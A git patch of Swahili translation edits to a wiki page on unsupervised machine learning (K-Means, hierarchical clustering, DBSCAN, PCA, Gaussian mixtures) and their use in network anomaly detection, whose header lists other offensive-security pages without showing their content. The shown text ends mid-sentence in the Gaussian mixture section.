From 64c3ebd1b75e84d01f090ac49446fad9c4a3e1f6 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 31 Jul 2025 10:42:10 +0000 Subject: [PATCH] Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary --- src/AI/AI-Unsupervised-Learning-Algorithms.md | 122 ++++++++--------- .../aw2exec-sips-icc-profile.md | 18 +-- .../libc-heap/heap-overflow.md | 22 +-- .../libc-heap/use-after-free/first-fit.md | 28 ++-- .../stack-overflow/README.md | 16 +-- src/generic-hacking/reverse-shells/linux.md | 18 +-- .../pentesting-network/README.md | 126 +++++++++--------- .../telecom-network-exploitation.md | 26 ++-- .../firmware-analysis/README.md | 54 ++++---- .../bypass-bash-restrictions/README.md | 14 +- .../pam-pluggable-authentication-modules.md | 28 ++-- .../sensitive-mounts.md | 27 ++-- .../macos-perl-applications-injection.md | 21 +-- .../macos-protocols.md | 24 ++-- .../android-applications-basics.md | 93 ++++++------- .../android-task-hijacking.md | 16 +-- .../exploiting-a-debuggeable-applciation.md | 22 +-- .../android-app-pentesting/tapjacking.md | 22 +-- .../air-keyboard-remote-input-injection.md | 38 +++--- .../aem-adobe-experience-cloud.md | 20 +-- ...er-gadgets-expandedwrapper-and-json.net.md | 24 ++-- ...ialization-objectinputstream-readobject.md | 34 ++--- src/pentesting-web/sql-injection/sqlmap.md | 57 ++++---- .../sql-injection/sqlmap/README.md | 84 ++++++------ .../xxe-xee-xml-external-entity.md | 102 +++++++------- src/todo/radio-hacking/infrared.md | 24 ++-- .../adws-enumeration.md | 28 ++-- .../bloodhound.md | 4 +- theme/ai.js | 24 ++-- 29 files changed, 569 insertions(+), 567 deletions(-) diff --git a/src/AI/AI-Unsupervised-Learning-Algorithms.md b/src/AI/AI-Unsupervised-Learning-Algorithms.md index f70d06c5a..bbc64907f 100644 --- a/src/AI/AI-Unsupervised-Learning-Algorithms.md +++ b/src/AI/AI-Unsupervised-Learning-Algorithms.md @@ -10,23 +10,23 @@ Kujifunza bila usimamizi mara nyingi hutumika kwa kazi kama vile kuunganisha, ku ### K-Means Clustering K-Means ni algorithimu ya kuunganisha inayotegemea centroid ambayo inagawanya data katika makundi K kwa kupeana kila nukta kwa maana ya kundi iliyo karibu zaidi. Algorithimu inafanya kazi kama ifuatavyo: -1. **Initialization**: Chagua K vituo vya awali vya kundi (centroids), mara nyingi kwa bahati nasibu au kupitia mbinu bora kama k-means++ +1. **Initialization**: Chagua K vitu vya kuanzia vya kundi (centroids), mara nyingi kwa bahati nasibu au kupitia mbinu bora kama k-means++ 2. **Assignment**: Peana kila nukta ya data kwa centroid iliyo karibu zaidi kulingana na kipimo cha umbali (mfano, umbali wa Euclidean). 3. **Update**: Hesabu upya centroids kwa kuchukua maana ya nukta zote za data zilizopewa kila kundi. -4. **Repeat**: Hatua za 2–3 zinajirudia hadi ugawaji wa makundi uwe thabiti (centroids hazihamaki kwa kiasi kikubwa). +4. **Repeat**: Hatua za 2–3 zinarudiwa hadi ugawaji wa makundi uwe thabiti (centroids hazihamaki kwa kiasi kikubwa). > [!TIP] -> *Matumizi katika usalama wa mtandao:* K-Means inatumika kwa kugundua uvamizi kwa kuunganisha matukio ya mtandao. Kwa mfano, watafiti walitumia K-Means kwenye seti ya data ya uvamizi ya KDD Cup 99 na waligundua kuwa inagawanya trafiki kwa ufanisi katika makundi ya kawaida dhidi ya mashambulizi. Katika mazoezi, wachambuzi wa usalama wanaweza kuunganisha entries za logi au data ya tabia ya mtumiaji ili kupata makundi ya shughuli zinazofanana; nukta zozote ambazo hazihusiani na kundi lililo na muundo mzuri zinaweza kuashiria anomali (mfano, toleo jipya la malware linalounda kundi lake dogo). K-Means pia inaweza kusaidia katika uainishaji wa familia za malware kwa kuunganisha binaries kulingana na profaili za tabia au vektori vya sifa. +> *Matumizi katika usalama wa mtandao:* K-Means inatumika kwa kugundua uvamizi kwa kuunganisha matukio ya mtandao. Kwa mfano, watafiti walitumia K-Means kwenye seti ya data ya uvamizi ya KDD Cup 99 na waligundua kuwa inagawanya trafiki kwa ufanisi katika makundi ya kawaida dhidi ya mashambulizi. Katika mazoezi, wachambuzi wa usalama wanaweza kuunganisha entries za logi au data ya tabia ya mtumiaji ili kupata makundi ya shughuli zinazofanana; nukta zozote ambazo hazihusiani na kundi lililo na muundo mzuri zinaweza kuashiria anomali (mfano, toleo jipya la malware linalounda kundi lake dogo). K-Means inaweza pia kusaidia katika uainishaji wa familia za malware kwa kuunganisha binaries kulingana na profaili za tabia au vektori vya sifa. #### Selection of K Idadi ya makundi (K) ni hyperparameter ambayo inahitaji kufafanuliwa kabla ya kuendesha algorithimu. Mbinu kama vile Njia ya Elbow au Alama ya Silhouette zinaweza kusaidia kubaini thamani inayofaa kwa K kwa kutathmini utendaji wa kuunganisha: -- **Elbow Method**: Piga picha ya jumla ya umbali wa mraba kutoka kila nukta hadi centroid ya kundi lake kama kazi ya K. Tafuta "ncha" ambapo kiwango cha kupungua kinabadilika kwa haraka, ikionyesha idadi inayofaa ya makundi. +- **Elbow Method**: Piga picha ya jumla ya umbali wa mraba kutoka kila nukta hadi centroid ya kundi lake kama kazi ya K. Tafuta nukta ya "elbow" ambapo kiwango cha kupungua kinabadilika kwa haraka, ikionyesha idadi inayofaa ya makundi. - **Silhouette Score**: Hesabu alama ya silhouette kwa thamani tofauti za K. Alama ya silhouette ya juu inaonyesha makundi yaliyoainishwa vizuri zaidi. #### Assumptions and Limitations -K-Means inadhani kwamba **makundi ni ya mviringo na yana ukubwa sawa**, ambayo huenda isiwe kweli kwa seti zote za data. Inahisi mabadiliko ya awali ya centroids na inaweza kuishia kwenye minima za ndani. Zaidi ya hayo, K-Means si sahihi kwa seti za data zenye wiani tofauti au sura zisizo za globu na sifa zenye viwango tofauti. Hatua za preprocessing kama vile normalization au standardization zinaweza kuwa muhimu ili kuhakikisha kwamba sifa zote zinachangia sawa katika hesabu za umbali. +K-Means inadhani kwamba **makundi ni ya mviringo na yana ukubwa sawa**, ambayo huenda isiwe kweli kwa seti zote za data. Inahisi mabadiliko ya awali ya centroids na inaweza kuishia kwenye minima za ndani. Zaidi ya hayo, K-Means si sahihi kwa seti za data zenye wiani tofauti au sura zisizo za globular na sifa zenye viwango tofauti. Hatua za preprocessing kama vile normalization au standardization zinaweza kuwa muhimu ili kuhakikisha kwamba sifa zote zinachangia sawa katika hesabu za umbali.
Example -- Clustering Network Events @@ -57,16 +57,16 @@ print("Cluster centers (duration, bytes):") for idx, center in enumerate(kmeans.cluster_centers_): print(f" Cluster {idx}: {center}") ``` -Katika mfano huu, K-Means inapaswa kupata makundi 4. Kundi dogo la shambulio (lenye muda wa kawaida wa juu ~200) litaunda kundi lake mwenyewe kutokana na umbali wake kutoka kwa makundi ya kawaida. Tunachapisha saizi za makundi na vituo ili kutafsiri matokeo. Katika hali halisi, mtu anaweza kuweka lebo kundi lenye alama chache kama anomali zinazoweza kutokea au kuchunguza wanachama wake kwa shughuli mbaya. +Katika mfano huu, K-Means inapaswa kupata makundi 4. Kundi dogo la shambulio (lenye muda wa kawaida wa juu ~200) litaunda kundi lake mwenyewe kutokana na umbali wake kutoka kwa makundi ya kawaida. Tunachapisha saizi za makundi na vitu vya katikati ili kutafsiri matokeo. Katika hali halisi, mtu anaweza kuweka lebo kundi lenye alama chache kama anomali zinazoweza kutokea au kuchunguza wanachama wake kwa shughuli mbaya. ### Kuweka Makundi kwa Njia ya Hali ya Juu -Kuweka makundi kwa njia ya hali ya juu kunajenga hiyerarhii ya makundi kwa kutumia njia ya chini juu (agglomerative) au juu chini (divisive): +Kuweka makundi kwa njia ya hali ya juu hujenga hiyerarhii ya makundi kwa kutumia njia ya chini juu (agglomerative) au njia ya juu chini (divisive): -1. **Agglomerative (Chini Juu)**: Anza na kila kipengele cha data kama kundi tofauti na kuunganishwa kwa hatua kwa hatua makundi ya karibu hadi kundi moja linabaki au kigezo cha kusimamisha kinakamilika. -2. **Divisive (Juu Chini)**: Anza na vipengele vyote vya data katika kundi moja na kugawanya makundi kwa hatua hadi kila kipengele cha data kiwe kundi lake mwenyewe au kigezo cha kusimamisha kinakamilika. +1. **Agglomerative (Chini Juu)**: Anza na kila kipengele cha data kama kundi tofauti na kuunganishwa kwa hatua kwa hatua makundi ya karibu hadi kundi moja linabaki au kigezo cha kusimamisha kinatimizwa. +2. **Divisive (Juu Chini)**: Anza na vipengele vyote vya data katika kundi moja na kuigawanya makundi hatua kwa hatua hadi kila kipengele cha data kiwe kundi lake mwenyewe au kigezo cha kusimamisha kinatimizwa. -Kuweka makundi kwa njia ya agglomerative kunahitaji ufafanuzi wa umbali kati ya makundi na kigezo cha kuunganisha ili kuamua ni makundi gani ya kuunganisha. Njia za kawaida za kuunganisha ni pamoja na kuunganisha moja (umbali wa pointi za karibu zaidi kati ya makundi mawili), kuunganisha kamili (umbali wa pointi za mbali zaidi), kuunganisha wastani, n.k., na kipimo cha umbali mara nyingi ni Euclidean. Chaguo la kuunganisha linaathiri umbo la makundi yanayozalishwa. Hakuna haja ya kuweka idadi ya makundi K mapema; unaweza "kukata" dendrogram katika kiwango kilichochaguliwa ili kupata idadi inayotakiwa ya makundi. +Kuweka makundi kwa njia ya agglomerative kunahitaji ufafanuzi wa umbali kati ya makundi na kigezo cha kuunganisha ili kuamua ni makundi gani ya kuunganisha. Njia za kawaida za kuunganisha ni pamoja na kuunganisha moja (umbali wa alama za karibu kati ya makundi mawili), kuunganisha kamili (umbali wa alama za mbali), kuunganisha wastani, n.k., na kipimo cha umbali mara nyingi ni Euclidean. Chaguo la kuunganisha linaathiri umbo la makundi yanayozalishwa. Hakuna haja ya kuweka idadi ya makundi K mapema; unaweza "kukata" dendrogram katika kiwango kilichochaguliwa ili kupata idadi inayotakiwa ya makundi. Kuweka makundi kwa njia ya hali ya juu kunazalisha dendrogram, muundo kama mti unaoonyesha uhusiano kati ya makundi katika viwango tofauti vya undani. Dendrogram inaweza kukatwa katika kiwango kinachotakiwa ili kupata idadi maalum ya makundi. @@ -75,7 +75,7 @@ Kuweka makundi kwa njia ya hali ya juu kunazalisha dendrogram, muundo kama mti u #### Dhana na Mipaka -Kuweka makundi kwa njia ya hali ya juu hakudhani umbo fulani la kundi na inaweza kushika makundi yaliyo ndani. Ni muhimu kwa kugundua taxonomy au uhusiano kati ya vikundi (kwa mfano, kuunganisha malware kwa familia za makundi). Ni ya kutabirika (hakuna masuala ya kuanzisha kwa bahati). Faida kuu ni dendrogram, ambayo inatoa mwanga juu ya muundo wa kuunganisha wa data katika viwango vyote – wachambuzi wa usalama wanaweza kuamua kiwango sahihi cha kukata ili kubaini makundi yenye maana. Hata hivyo, ni ghali kwa hesabu (kawaida $O(n^2)$ muda au mbaya zaidi kwa utekelezaji wa kawaida) na si rahisi kwa seti kubwa za data. Pia ni utaratibu wa greedy – mara tu muungano au kugawanya kumefanyika, haiwezi kubadilishwa, ambayo inaweza kusababisha makundi yasiyo bora ikiwa kosa litafanyika mapema. Vitu vya nje pia vinaweza kuathiri baadhi ya mikakati ya kuunganisha (kuunganisha moja kunaweza kusababisha athari ya "mnyororo" ambapo makundi yanaunganishwa kupitia vitu vya nje). +Kuweka makundi kwa njia ya hali ya juu hakudhani umbo fulani la kundi na inaweza kushika makundi yaliyo ndani. Ni muhimu kwa kugundua taxonomy au uhusiano kati ya vikundi (kwa mfano, kuunganisha malware kwa familia za makundi). Ni ya kutabirika (hakuna masuala ya kuanzisha kwa bahati nasibu). Faida kuu ni dendrogram, ambayo inatoa mwanga juu ya muundo wa kuunganisha wa data katika viwango vyote – wachambuzi wa usalama wanaweza kuamua kiwango sahihi cha kukata ili kubaini makundi yenye maana. Hata hivyo, ni ghali kwa hesabu (kawaida $O(n^2)$ muda au mbaya zaidi kwa utekelezaji wa kawaida) na si rahisi kwa seti kubwa za data. Pia ni utaratibu wa greedy – mara muungano au mgawanyiko unafanywa, hauwezi kubadilishwa, ambayo inaweza kusababisha makundi yasiyo bora ikiwa kosa litafanyika mapema. Vitu vya nje pia vinaweza kuathiri baadhi ya mikakati ya kuunganisha (kuunganisha moja kunaweza kusababisha athari ya "mnyororo" ambapo makundi yanaunganishwa kupitia vitu vya nje).
Mfano -- Kuweka Makundi kwa Njia ya Agglomerative ya Matukio @@ -114,14 +114,14 @@ DBSCAN inatambua pointi kuu, pointi za mpaka, na pointi za kelele: - **Pointi za Mpakani**: Pointi ambayo iko ndani ya umbali wa ε wa pointi kuu lakini ina majirani wachache kuliko MinPts. - **Pointi za Kelele**: Pointi ambayo si pointi kuu wala pointi za mpaka. -Kukusanya kunendelea kwa kuchagua pointi kuu ambazo hazijatembelewa, kuziandikisha kama kundi jipya, kisha kuongeza pointi zote zinazoweza kufikiwa kwa wingi kutoka kwake (pointi kuu na majirani zao, nk). Pointi za mpaka zinaongezwa kwenye kundi la pointi kuu zilizo karibu. Baada ya kupanua pointi zote zinazoweza kufikiwa, DBSCAN inahamia kwenye pointi kuu nyingine ambazo hazijatembelewa ili kuanza kundi jipya. Pointi ambazo hazijafikiwa na pointi kuu zinabaki zikitambulika kama kelele. +Kukusanya kunendelea kwa kuchagua pointi kuu ambazo hazijatembelewa, kuziandikisha kama kundi jipya, kisha kuongeza pointi zote zinazoweza kufikiwa kwa wingi kutoka kwake (pointi kuu na majirani zao, nk). Pointi za mpaka zinaongezwa kwenye kundi la pointi kuu zilizo karibu. Baada ya kupanua pointi zote zinazoweza kufikiwa, DBSCAN inahamia kwenye pointi kuu nyingine ambazo hazijatembelewa ili kuanza kundi jipya. Pointi ambazo hazijafikiwa na pointi kuu yoyote zinabaki zikitambulika kama kelele. > [!TIP] -> *Matumizi katika usalama wa mtandao:* DBSCAN ni muhimu kwa kugundua anomali katika trafiki ya mtandao. Kwa mfano, shughuli za kawaida za mtumiaji zinaweza kuunda kundi moja au zaidi zenye wingi katika nafasi ya sifa, wakati tabia mpya za shambulio zinaonekana kama pointi zilizotawanyika ambazo DBSCAN itazitambulisha kama kelele (nje ya kawaida). Imekuwa ikitumika kukusanya rekodi za mtiririko wa mtandao, ambapo inaweza kugundua skana za bandari au trafiki ya kukatiza huduma kama maeneo ya pointi zisizo na wingi. Maombi mengine ni kuunganisha aina za malware: ikiwa sampuli nyingi zinakusanyika kwa familia lakini chache hazifai popote, hizo chache zinaweza kuwa malware ya siku sifuri. Uwezo wa kutambua kelele unamaanisha timu za usalama zinaweza kuzingatia kuchunguza hizo nje ya kawaida. +> *Matumizi katika usalama wa mtandao:* DBSCAN ni muhimu kwa kugundua anomali katika trafiki ya mtandao. Kwa mfano, shughuli za kawaida za mtumiaji zinaweza kuunda kundi moja au zaidi zenye wingi katika nafasi ya sifa, wakati tabia mpya za shambulio zinaonekana kama pointi zilizotawanyika ambazo DBSCAN itazitambulisha kama kelele (nje ya kawaida). Imetumika kukusanya rekodi za mtiririko wa mtandao, ambapo inaweza kugundua skana za bandari au trafiki ya kukatiza huduma kama maeneo ya pointi zisizo na wingi. Maombi mengine ni kuunganisha aina za malware: ikiwa sampuli nyingi zinakusanyika kwa familia lakini chache hazifai popote, hizo chache zinaweza kuwa malware ya siku sifuri. Uwezo wa kutambua kelele unamaanisha timu za usalama zinaweza kuzingatia kuchunguza hizo nje ya kawaida. #### Dhana na Mipaka -**Dhana & Nguvu:** DBSCAN haidhani makundi ya mpira – inaweza kupata makundi yenye sura yoyote (hata makundi ya mnyororo au jirani). Inajitenga kiotomatiki idadi ya makundi kulingana na wingi wa data na inaweza kutambua kwa ufanisi nje ya kawaida kama kelele. Hii inafanya kuwa na nguvu kwa data halisi zenye sura zisizo za kawaida na kelele. Ni thabiti kwa nje ya kawaida (kinyume na K-Means, ambayo inawalazimisha kuwa katika makundi). Inafanya kazi vizuri wakati makundi yana wingi wa karibu sawa. +**Dhana & Nguvu:** DBSCAN haidhani makundi ya mpira – inaweza kupata makundi yenye sura yoyote (hata makundi ya mnyororo au jirani). Inajitenga kiotomatiki idadi ya makundi kulingana na wingi wa data na inaweza kutambua kwa ufanisi nje ya kawaida kama kelele. Hii inafanya kuwa na nguvu kwa data halisi zenye sura zisizo za kawaida na kelele. Ni thabiti kwa nje ya kawaida (kinyume na K-Means, ambayo inawalazimisha kwenye makundi). Inafanya kazi vizuri wakati makundi yana wingi wa karibu sawa. **Mipaka**: Utendaji wa DBSCAN unategemea kuchagua thamani sahihi za ε na MinPts. Inaweza kuwa na shida na data yenye wingi tofauti – ε moja haiwezi kukidhi makundi yenye wingi na yasiyo na wingi. Ikiwa ε ni ndogo sana, inatambua pointi nyingi kama kelele; ikiwa ni kubwa sana, makundi yanaweza kuungana vibaya. Pia, DBSCAN inaweza kuwa na ufanisi mdogo kwenye seti kubwa za data (kwa urahisi $O(n^2)$, ingawa uainishaji wa nafasi unaweza kusaidia). Katika nafasi za sifa zenye vipimo vingi, dhana ya "umbali ndani ya ε" inaweza kuwa na maana kidogo (laana ya vipimo), na DBSCAN inaweza kuhitaji urekebishaji wa vigezo kwa makini au inaweza kushindwa kupata makundi ya kueleweka. Licha ya haya, nyongeza kama HDBSCAN zinashughulikia baadhi ya masuala (kama vile wingi tofauti). @@ -149,18 +149,18 @@ num_noise = np.sum(labels == -1) print(f"DBSCAN found {num_clusters} clusters and {num_noise} noise points") print("Cluster labels for first 10 points:", labels[:10]) ``` -Katika kipande hiki, tulirekebisha `eps` na `min_samples` ili kuendana na kiwango chetu cha data (15.0 katika vitengo vya kipengele, na inahitaji pointi 5 kuunda kundi). DBSCAN inapaswa kupata makundi 2 (makundi ya trafiki ya kawaida) na kuashiria nje ya kawaida 5 zilizoongezwa kama kelele. Tunatoa idadi ya makundi dhidi ya pointi za kelele ili kuthibitisha hili. Katika mazingira halisi, mtu anaweza kurudia ε (akitumika mbinu ya grafu ya k-distance kuchagua ε) na MinPts (ambayo mara nyingi huwekwa karibu na ukubwa wa data + 1 kama sheria ya vidole) ili kupata matokeo ya makundi thabiti. Uwezo wa kuweka wazi lebo za kelele husaidia kutenganisha data za mashambulizi zinazoweza kutokea kwa uchambuzi zaidi. +Katika kipande hiki, tulirekebisha `eps` na `min_samples` ili kuendana na kiwango chetu cha data (15.0 katika vitengo vya kipengele, na inahitaji pointi 5 kuunda kundi). DBSCAN inapaswa kupata makundi 2 (makundi ya trafiki ya kawaida) na kuashiria nje ya kawaida 5 zilizoongezwa kama kelele. Tunatoa idadi ya makundi dhidi ya pointi za kelele ili kuthibitisha hili. Katika mazingira halisi, mtu anaweza kurudia ε (akitumika mbinu ya grafu ya k-distance kuchagua ε) na MinPts (ambayo mara nyingi huwekwa karibu na ukubwa wa data + 1 kama sheria ya vidole) ili kupata matokeo ya makundi thabiti. Uwezo wa kutambua wazi kelele husaidia kutenganisha data za mashambulizi zinazoweza kutokea kwa uchambuzi zaidi. ### Uchambuzi wa Vipengele Msingi (PCA) PCA ni mbinu ya **kupunguza ukubwa** inayopata seti mpya ya axes za orthogonal (vipengele vya msingi) ambavyo vinakamata tofauti kubwa zaidi katika data. Kwa maneno rahisi, PCA inageuza na kupeleka data kwenye mfumo mpya wa kuratibu ili vipengele vya msingi vya kwanza (PC1) kuelezea tofauti kubwa zaidi inayowezekana, PC ya pili (PC2) kuelezea tofauti kubwa zaidi isiyo ya orthogonal kwa PC1, na kadhalika. Kihesabu, PCA inakadiria eigenvectors ya matrix ya covariance ya data – hizi eigenvectors ni mwelekeo wa vipengele vya msingi, na eigenvalues zinazohusiana zinaonyesha kiasi cha tofauti kinachofafanuliwa na kila moja. Mara nyingi hutumiwa kwa uchimbaji wa vipengele, uonyeshaji, na kupunguza kelele. -Kumbuka kwamba hii ni muhimu ikiwa vipimo vya dataset vina **mategemeo makubwa ya mstari au uhusiano**. +Kumbuka kwamba hii ni muhimu ikiwa vipimo vya dataset vina **mategemeo au uhusiano wa moja kwa moja**. PCA inafanya kazi kwa kutambua vipengele vya msingi vya data, ambavyo ni mwelekeo wa tofauti kubwa zaidi. Hatua zinazohusika katika PCA ni: -1. **Kiwango**: Kituisha data kwa kupunguza wastani na kuipima kwa tofauti ya kitengo. +1. **Kiwango**: Kituo cha data kwa kupunguza wastani na kuipima kwa tofauti ya kitengo. 2. **Matrix ya Covariance**: Kadiria matrix ya covariance ya data iliyopimwa ili kuelewa uhusiano kati ya vipengele. -3. **Ufunguo wa Eigenvalue**: Fanya ufunguo wa eigenvalue kwenye matrix ya covariance ili kupata eigenvalues na eigenvectors. +3. **Ufafanuzi wa Eigenvalue**: Fanya ufafanuzi wa eigenvalue kwenye matrix ya covariance ili kupata eigenvalues na eigenvectors. 4. **Chagua Vipengele vya Msingi**: Panga eigenvalues kwa mpangilio wa kushuka na uchague eigenvectors bora K zinazohusiana na eigenvalues kubwa zaidi. Hizi eigenvectors zinaunda nafasi mpya ya vipengele. 5. **Badilisha Data**: Peleka data ya asili kwenye nafasi mpya ya vipengele kwa kutumia vipengele vya msingi vilivyochaguliwa. PCA inatumika sana kwa uonyeshaji wa data, kupunguza kelele, na kama hatua ya awali kwa algorithimu nyingine za kujifunza mashine. Inasaidia kupunguza ukubwa wa data huku ikihifadhi muundo wake muhimu. @@ -178,24 +178,24 @@ Basi, `A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]` ambayo itakuwa eigenvalue λ #### Eigenvalues na Eigenvectors katika PCA -Hebu tueleze hii kwa mfano. Fikiria una dataset yenye picha nyingi za rangi ya kijivu za nyuso za 100x100 pixels. Kila pixel inaweza kuzingatiwa kama kipengele, hivyo una vipengele 10,000 kwa picha (au vector ya vipengele 10000 kwa picha). Ikiwa unataka kupunguza ukubwa wa dataset hii kwa kutumia PCA, ungetakiwa kufuata hatua hizi: +Hebu tueleze hii kwa mfano. Fikiria una dataset yenye picha nyingi za rangi ya kijivu za nyuso za 100x100 pixels. Kila pixel inaweza kuonekana kama kipengele, hivyo una vipengele 10,000 kwa picha (au vector ya 10000 components kwa picha). Ikiwa unataka kupunguza ukubwa wa dataset hii kwa kutumia PCA, ungetakiwa kufuata hatua hizi: -1. **Kiwango**: Kituisha data kwa kupunguza wastani wa kila kipengele (pixel) kutoka kwenye dataset. +1. **Kiwango**: Kituo cha data kwa kupunguza wastani wa kila kipengele (pixel) kutoka kwenye dataset. 2. **Matrix ya Covariance**: Kadiria matrix ya covariance ya data iliyopimwa, ambayo inakamata jinsi vipengele (pixels) vinavyobadilika pamoja. -- Kumbuka kwamba covariance kati ya variables mbili (pixels katika kesi hii) inaonyesha jinsi zinavyobadilika pamoja hivyo wazo hapa ni kugundua ni pixels zipi zinazoonekana kuongezeka au kupungua pamoja kwa uhusiano wa mstari. -- Kwa mfano, ikiwa pixel 1 na pixel 2 zinaonekana kuongezeka pamoja, covariance kati yao itakuwa chanya. +- Kumbuka kwamba covariance kati ya variables mbili (pixels katika kesi hii) inaonyesha jinsi zinavyobadilika pamoja hivyo wazo hapa ni kugundua ni pixels zipi zinaweza kuongezeka au kupungua pamoja kwa uhusiano wa moja kwa moja. +- Kwa mfano, ikiwa pixel 1 na pixel 2 zinaweza kuongezeka pamoja, covariance kati yao itakuwa chanya. - Matrix ya covariance itakuwa matrix ya 10,000x10,000 ambapo kila ingizo linawakilisha covariance kati ya pixels mbili. 3. **Suluisha Msingi wa Eigenvalue**: Msingi wa eigenvalue wa kutatua ni `C * v = λ * v` ambapo C ni matrix ya covariance, v ni eigenvector, na λ ni eigenvalue. Inaweza kutatuliwa kwa kutumia mbinu kama: -- **Ufunguo wa Eigenvalue**: Fanya ufunguo wa eigenvalue kwenye matrix ya covariance ili kupata eigenvalues na eigenvectors. -- **Ufunguo wa Thamani ya Kipekee (SVD)**: Vinginevyo, unaweza kutumia SVD kutenganisha matrix ya data katika thamani za kipekee na vectors, ambazo pia zinaweza kutoa vipengele vya msingi. +- **Ufafanuzi wa Eigenvalue**: Fanya ufafanuzi wa eigenvalue kwenye matrix ya covariance ili kupata eigenvalues na eigenvectors. +- **Ufafanuzi wa Thamani ya Kipekee (SVD)**: Vinginevyo, unaweza kutumia SVD kutenganisha matrix ya data katika thamani za kipekee na vectors, ambazo pia zinaweza kutoa vipengele vya msingi. 4. **Chagua Vipengele vya Msingi**: Panga eigenvalues kwa mpangilio wa kushuka na uchague eigenvectors bora K zinazohusiana na eigenvalues kubwa zaidi. Hizi eigenvectors zinawakilisha mwelekeo wa tofauti kubwa zaidi katika data. > [!TIP] > *Matumizi katika usalama wa mtandao:* Matumizi ya kawaida ya PCA katika usalama ni kupunguza vipengele kwa ajili ya kugundua anomali. Kwa mfano, mfumo wa kugundua uvamizi wenye metriki 40+ za mtandao (kama vile vipengele vya NSL-KDD) unaweza kutumia PCA kupunguza hadi vipengele vichache, kujumlisha data kwa ajili ya uonyeshaji au kupeleka kwenye algorithimu za makundi. Wachambuzi wanaweza kuchora trafiki ya mtandao katika nafasi ya vipengele vya msingi viwili vya kwanza ili kuona ikiwa mashambulizi yanatenganishwa na trafiki ya kawaida. PCA inaweza pia kusaidia kuondoa vipengele vya ziada (kama vile bytes zilizotumwa dhidi ya bytes zilizopokelewa ikiwa zina uhusiano) ili kufanya algorithimu za kugundua kuwa thabiti zaidi na haraka. -#### Mategemeo na Mipaka +#### Matarajio na Mipaka -PCA inategemea kwamba **mwelekeo wa msingi wa tofauti ni wa maana** – ni mbinu ya mstari, hivyo inakamata uhusiano wa mstari katika data. Ni isiyo na uangalizi kwani inatumia tu covariance ya vipengele. Faida za PCA ni pamoja na kupunguza kelele (vipengele vya tofauti ndogo mara nyingi vinahusiana na kelele) na kuondoa uhusiano kati ya vipengele. Ni yenye ufanisi wa hesabu kwa vipimo vya kati na mara nyingi ni hatua ya awali inayofaa kwa algorithimu nyingine (ili kupunguza laana ya ukubwa). Mipaka moja ni kwamba PCA inategemea uhusiano wa mstari – haitakamata muundo mgumu wa isiyo ya mstari (ambapo autoencoders au t-SNE inaweza). Pia, vipengele vya PCA vinaweza kuwa vigumu kufasiri kwa kuzingatia vipengele vya asili (ni mchanganyiko wa vipengele vya asili). Katika usalama wa mtandao, mtu anapaswa kuwa makini: shambulizi linalosababisha mabadiliko madogo tu katika kipengele chenye tofauti ndogo linaweza kutokuwepo katika PCs za juu (kwa kuwa PCA inapa kipaumbele tofauti, si lazima "kuvutia"). +PCA inatarajia kwamba **mwelekeo wa msingi wa tofauti ni wa maana** – ni mbinu ya moja kwa moja, hivyo inakamata uhusiano wa moja kwa moja katika data. Ni isiyo na uangalizi kwani inatumia tu covariance ya vipengele. Faida za PCA ni pamoja na kupunguza kelele (vipengele vya tofauti ndogo mara nyingi vinahusiana na kelele) na kuondoa uhusiano kati ya vipengele. Ni yenye ufanisi wa hesabu kwa vipimo vya kati na mara nyingi ni hatua ya awali inayofaa kwa algorithimu nyingine (ili kupunguza laana ya ukubwa). Mipaka moja ni kwamba PCA inategemea uhusiano wa moja kwa moja – haitakamata muundo mgumu wa kisasa (ambapo autoencoders au t-SNE inaweza). Pia, vipengele vya PCA vinaweza kuwa vigumu kufasiri kwa kuzingatia vipengele vya asili (ni mchanganyiko wa vipengele vya asili). Katika usalama wa mtandao, mtu anapaswa kuwa makini: shambulizi linalosababisha mabadiliko madogo tu katika kipengele chenye tofauti ndogo linaweza kutokuwepo katika PCs za juu (kwa kuwa PCA inapa kipaumbele tofauti, si lazima "kuvutia").
Mfano -- Kupunguza Vipimo vya Data ya Mtandao @@ -225,37 +225,37 @@ Hapa tulichukua makundi ya awali ya trafiki ya kawaida na kupanua kila kipengele ### Gaussian Mixture Models (GMM) -Mfano wa Mchanganyiko wa Gaussian unadhani data inazalishwa kutoka mchanganyiko wa **distributions kadhaa za Gaussian (za kawaida) zenye vigezo visivyojulikana**. Kwa msingi, ni mfano wa makundi ya uwezekano: inajaribu kwa upole kupeana kila pointi moja ya K vipengele vya Gaussian. Kila kipengele cha Gaussian kina vector ya wastani (μ_k), matrix ya covariance (Σ_k), na uzito wa mchanganyiko (π_k) unaowrepresenta jinsi kundi hilo lilivyo maarufu. Tofauti na K-Means ambayo inafanya "ugawaji mgumu", GMM inampa kila pointi uwezekano wa kuhusika na kila kundi. +Mfano wa Mchanganyiko wa Gaussian unadhani data inazalishwa kutoka mchanganyiko wa **usambazaji kadhaa wa Gaussian (kawaida) wenye vigezo visivyojulikana**. Kwa msingi, ni mfano wa makundi ya uwezekano: inajaribu kwa upole kupeana kila pointi kwa moja ya vipengele K vya Gaussian. Kila kipengele cha Gaussian k kina vector ya wastani (μ_k), matrix ya covariance (Σ_k), na uzito wa mchanganyiko (π_k) unaowrepresenta jinsi kundi hilo lilivyo maarufu. Tofauti na K-Means ambayo inafanya "ugawaji" mgumu, GMM inampa kila pointi uwezekano wa kuwa katika kila kundi. -Ufunguo wa GMM kawaida hufanywa kupitia algorithm ya Expectation-Maximization (EM): +Ulinganifu wa GMM kawaida hufanywa kupitia algorithm ya Expectation-Maximization (EM): - **Kuanza**: Anza na makadirio ya awali ya wastani, covariances, na coefficients za mchanganyiko (au tumia matokeo ya K-Means kama hatua ya mwanzo). -- **E-step (Matarajio)**: Iwapo vigezo vya sasa, hesabu jukumu la kila kundi kwa kila pointi: kimsingi `r_nk = P(z_k | x_n)` ambapo z_k ni variable ya siri inayoashiria uanachama wa kundi kwa pointi x_n. Hii inafanywa kwa kutumia nadharia ya Bayes, ambapo tunahesabu uwezekano wa nyuma wa kila pointi kuhusika na kila kundi kulingana na vigezo vya sasa. Majukumu yanahesabiwa kama: +- **E-step (Matarajio)**: Iwapo vigezo vya sasa, hesabu jukumu la kila kundi kwa kila pointi: kimsingi `r_nk = P(z_k | x_n)` ambapo z_k ni variable ya siri inayoashiria uanachama wa kundi kwa pointi x_n. Hii inafanywa kwa kutumia nadharia ya Bayes, ambapo tunahesabu uwezekano wa nyuma wa kila pointi kuwa katika kila kundi kulingana na 